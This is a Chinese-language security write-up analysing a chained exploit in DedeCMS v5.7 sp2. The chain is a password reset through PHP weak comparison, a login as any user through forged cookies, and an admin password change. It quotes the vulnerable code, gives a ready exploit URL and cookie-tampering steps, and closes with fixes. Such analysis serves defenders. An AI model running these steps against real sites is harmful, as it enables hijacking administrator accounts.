漏洞组合拳 | 重置dedecms管理员后台密码重现及分析
字数 1208 2025-08-18 11:37:03
DedeCMS v5.7 sp2 漏洞组合拳分析与利用教学
漏洞概述
DedeCMS v5.7 sp2 存在三个关键漏洞组合:
- 前台任意用户密码重置漏洞
- 前台任意用户登录漏洞
- 管理员前台可修改后台密码的安全问题
这三个漏洞组合形成完整的攻击链,可重置管理员后台密码,最终获取系统控制权。
漏洞详细分析
1. 前台任意用户密码重置漏洞
漏洞文件: member/resetpassword.php
关键代码:
else if($dopost == "safequestion") {
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) {
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
}
漏洞原理:
- 数据库查询返回的
$row['safeanswer']为空,$row['safequestion']为0 - 传入
$safeanswer为空即可满足条件 - 传入
$safequestion=0.0利用PHP弱类型比较绕过判断(0.0 == 0)
利用步骤:
- 访问URL:
/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=1 - 系统生成临时密码并跳转到重置页面:
/member/resetpassword.php?dopost=getpasswd&id=1&key=[随机8位key] - 通过该URL重置管理员密码
2. 前台任意用户登录漏洞
漏洞文件: member/index.php 和 include/memberlogin.class.php
关键点:
- 通过
member/index.php?uid=0000001设置last_vid和last_vid__ckMd5cookie - 利用
last_vid__ckMd5的值伪造DedeUserID__ckMd5 - 设置
DedeUserID=0000001和DedeUserID__ckMd5=last_vid__ckMd5的值 - 系统验证通过后,
intval(0000001)得到1,即以管理员身份登录
详细流程:
- 注册用户
0000001并通过审核 - 访问:
获取/member/index.php?uid=0000001last_vid__ckMd5值 - 登录
0000001账号 - 修改cookie:
- 设置
DedeUserID=0000001 - 设置
DedeUserID__ckMd5=last_vid__ckMd5的值
- 设置
- 刷新页面,以管理员身份登录前台
3. 重置管理员前后台密码
漏洞文件: member/edit_baseinfo.php
关键代码:
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);
//如果是管理员,修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!=''){
$query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."'";
$dsql->ExecuteNoneQuery($query2);
}
利用方法:
- 使用前面漏洞获取的管理员前台账号
- 修改密码时同时修改前后台密码
完整攻击链
- 利用前台任意密码重置漏洞重置管理员前台密码
- 利用前台任意用户登录漏洞以管理员身份登录前台
- 利用管理员权限修改前后台密码
修复方案
- 关闭会员功能(如不需要)
- 注释以下代码(
member/index.php:163~164):PutCookie('last_vtime', $vtime, 3600*24, '/'); PutCookie('last_vid', $last_vid, 3600*24, '/'); - 修改管理员后台地址为复杂路径
- 及时关注官方更新并升级
总结
此漏洞组合展示了多个看似独立的小漏洞如何组合形成严重威胁。安全防护应:
- 重视每一个小漏洞
- 实施纵深防御策略
- 定期进行安全审计
- 及时更新补丁